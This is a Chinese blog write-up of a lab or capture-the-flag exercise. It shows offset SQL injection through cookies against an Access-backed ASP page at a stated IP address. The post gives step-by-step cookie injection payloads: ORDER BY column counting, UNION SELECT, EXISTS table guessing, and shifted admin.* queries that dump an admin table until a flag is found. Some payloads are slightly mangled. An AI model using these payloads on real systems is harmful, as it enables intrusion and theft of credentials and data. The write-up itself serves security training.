偏移注入

地址:http://59.63.200.79:8004/ProductShow.asp?ID=105

Access-偏移注入
首先进入网站的页面,在url栏输入:and1=2-1


发现被过滤,所以可能在url传参,不能做了
尝试在控制台修改cookie:document.cookie=”id=”+escape(“104 and 1=1”) 和document.cookie=”id=”+escape(“104 and 1=2”)


发现页面显示不一样,所以此处可使用cookie注入:document.cookie=”id=”+escape(‘104 order by 40’) 通过order by查询 表的字段数为26.
然后联合查询找到回显点:document.cookie=”id=”+escape(‘170 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin’)


回显点。
使用exists (selectfrom 表名)函数猜解表名:document.cookie=”id=”+escape(‘104 and exists(select* from admin)’)


可以执行说明存在admin表。
document.cookie=”id=”+escape(‘104 and exists(select* from news)’)


说明news表存在。
然后在回显点查出字段值,使用admin.代表表的字段,先看看admin表字段数有多少:
document.cookie=”id=”+escape(‘170 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,admin.
from admin’)
这样一直尝试,直到页面正常显示,代表admin表的字段数为26-已知字段数


页面正常,发现admin表有16个字段。
document.cookie=”id=”+escape(‘170 union select admin.* ,2,3,4,5,6,7,8,9,10,11 from admin’)


这样就爆出了admin表的3,5,7个字段的值。依次平移:
document.cookie=”id=”+escape(‘170 union select 1,admin.* ,3,4,5,6,7,8,9,10,11 from admin’)


这样就爆出了admin表的4,6,8位。
继续平移:document.cookie=”id=”+escape(‘170 union select 1,2,admin.* ,4,5,6,7,8,9,10,11 from admin’)


爆出5,7,9位。
继续平移,直到得到flag。在这三个显错点没找到flag。最后有重推一遍在网页源码中找到flag:document.cookie=”id=”+escape(‘170 union select 1,2,3,4,5,6,7,8,9,admin. ,11 from admin’)
废了好多时间,终于找到了:document.cookie=”id=”+escape(‘170 union select 1,2,3,4,5,6,7,8,9,admin.
,11 from admin’)


后来总结了一下,在找显错点的时候应该看一下源码,看看有没有不是明显的显错点。这样后面应该会有一点用处。

posted @ 2019-10-13 15:34  求知鱼  阅读(561)  评论(0编辑  收藏  举报